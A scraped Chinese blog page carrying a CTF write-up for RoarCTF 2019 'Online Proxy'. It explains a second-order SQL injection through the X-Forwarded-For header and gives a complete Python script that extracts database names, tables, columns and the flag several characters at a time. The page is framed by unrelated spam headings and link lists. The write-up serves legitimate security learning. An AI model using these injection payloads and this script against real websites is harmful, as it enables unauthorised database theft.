当前位置: 首页 > news >正文

闵行做网站开发一个app软件多少钱

闵行做网站,开发一个app软件多少钱,博客用wordpress对吗,网站设计流程图文章目录 [RoarCTF 2019Online Proxy]sql巧妙盲注解题脚本脚本解析 [RoarCTF 2019Online Proxy]sql巧妙盲注 解题 在源代码界面发现:Current Ip 我们会联想到:X-Forwarded-For来修改ip: 结果我们发现,response会讲Last Ip回显出…

文章目录

    • [RoarCTF 2019Online Proxy]sql巧妙盲注
      • 解题
      • 脚本
        • 脚本解析

[RoarCTF 2019Online Proxy]sql巧妙盲注

解题

在源代码界面发现:Current Ip

image-20230809221921490

我们会联想到:X-Forwarded-For来修改ip:

image-20230809222053377

结果我们发现,response会讲Last Ip回显出来,并且我们使用dirsearch扫描到了db.php

image-20230809222306594

我们自然会联想到数据库。当我们使用X-Forwarded-For请求的时候,会将上一次的值回显在Last Ip

这里应该是存在sql注入的。

如果我们传递一个sql进入XFF中,然后第二次随便输入一个值,将sql存入数据库,第三次再输入同一个值,就会发生sql查询,将之前的sql语句查询出来,造成二次注入

我们验证可以使用单引号闭合

第一次XFF:0’ or '114514 ,第二次:leekos, 第三次:leekos

在第三次就会查询出114514

脚本

所以我们就需要编写脚本了:

import requestsurl = "http://node4.buuoj.cn:27640/"
def execsql(sql):result = ""payload = "0'|length(("+sql+"))|'0"session = requests.session()r = session.get(url,headers={'X-Forwarded-For':payload})r = session.get(url,headers={'X-Forwarded-For':'leekos'})r = session.get(url,headers={'X-Forwarded-For':'leekos'})start = r.text.find("Last Ip: ") + 9end = r.text.find(" -->",start)length = int(r.text[start:end])print("[+]长度:"+str(length))for i in range(1,length+1,5): # 1次查5个字符,妙payload = "0'|conv(hex(substr(({}),{},5)),16,10)|'0".format(sql,i)r = session.get(url, headers={'X-Forwarded-For': payload})r = session.get(url, headers={'X-Forwarded-For': 'leekos'})r = session.get(url, headers={'X-Forwarded-For': 'leekos'})start = r.text.find("Last Ip: ") + 9end = r.text.find(" -->", start)res = int(r.text[start:end])result += bytes.fromhex(hex(res)[2:]).decode("utf-8")print(result)return result# print("数据库名:" + execsql("select group_concat(schema_name) from information_schema.schemata"))
# print("表名:" + execsql("select group_concat(table_name) from information_schema.tables where table_schema='F4l9_D4t4B45e'"))
# print("列名:" + execsql("select group_concat(column_name) from information_schema.columns where table_name = 'F4l9_t4b1e' and table_schema='F4l9_D4t4B45e'"))
print("flag:" + execsql("select group_concat(`F4l9_C01uMn`) from F4l9_D4t4B45e.F4l9_t4b1e"))

脚本解析

这个脚本非常的巧妙,与我之前接触的脚本不同,这个脚本可以通过盲注,一次查询多个字符

原理就是将字符串转为16进制,再转为10进制,读出来,最后重新将10进制转为16进制,最后转为字符串,利用的就是

字符串与16进制之间的转化

举个例子:

hex('abc')=616263 ,然后通过sql函数conv(hex('abc'),16,10) = 6382179 将abc的16进制转为10进制

在sql中16进制可以自动转为字符串:

image-20230809224024056

这种做法大大提高了查询的速度!

bytes.fromhex() 这个函数是将16进制数字转为字节,然后decode()解码为字符

整个脚本的重点就是如下:

payload = "0'|conv(hex(substr(({}),{},5)),16,10)|'0".format(sql,i)res = int(r.text[start:end])
result += bytes.fromhex(hex(res)[2:]).decode("utf-8")

首先通过sql查询,将部分结果拿出,然后转为16进制,再转为10进制

然后将requests的返回结果取出,转为16进制,最后转为字符

这样实现了一次查询多个字符

http://www.ds6.com.cn/news/75873.html

相关文章:

  • 网易云音乐网站建设项目规划书指数型基金怎么买
  • 建设网站需要做的工作内容被忽悠去做网销了
  • 广州市住房城乡建设局网站怎样注册网站免费注册
  • 怎样可以查看网站是由哪个公司做的搜索推广和信息流推广的区别
  • 武汉建站网站百度seo报价方法
  • 网站建设规划设计公司搜索引擎优化的工具
  • 做网站费用怎么记分录友情连接
  • oa协同办公系统网站关键词seo优化公司
  • 亚马逊如何做折扣网站的营销seo小白入门
  • 郑州制作网页哪家好优化的意思
  • 在线生成小程序石家庄seo优化公司
  • 网站qq临时会话怎么弄爱站网关键词
  • 销客巴巴wordpress百度seo点击器
  • 网站关键词优化甲徽bdxlci可出词能教方法在线培训app
  • 建 新闻 网站网络营销的应用
  • wordpress网站建设教程视频互联网销售是做什么的
  • 济南怎样做网站推广网站一键生成
  • 装修公司做网站高端网站建设专业公司
  • 网上做彩票网站排名武汉网站设计公司
  • 楼凤网站怎么做的国内免费域名注册
  • 上海网站建设上海迈歌免费b站推广入口
  • 网站开发助理seo诊断方法步骤
  • 中企动力 35 做网站手机怎么创建自己的网站平台
  • 网站制作公司百度推广怎么样才有效果
  • 新疆重点项目建设网站方象科技的企业愿景
  • 宁波企业网站优化推广百度推广怎么做步骤
  • 糗百网站源码郑州竞价托管公司哪家好
  • 二进制可以做网站是吗关键词如何快速排名
  • 做网站的公司名称东莞seo推广机构帖子
  • 自己开公司seo优化收费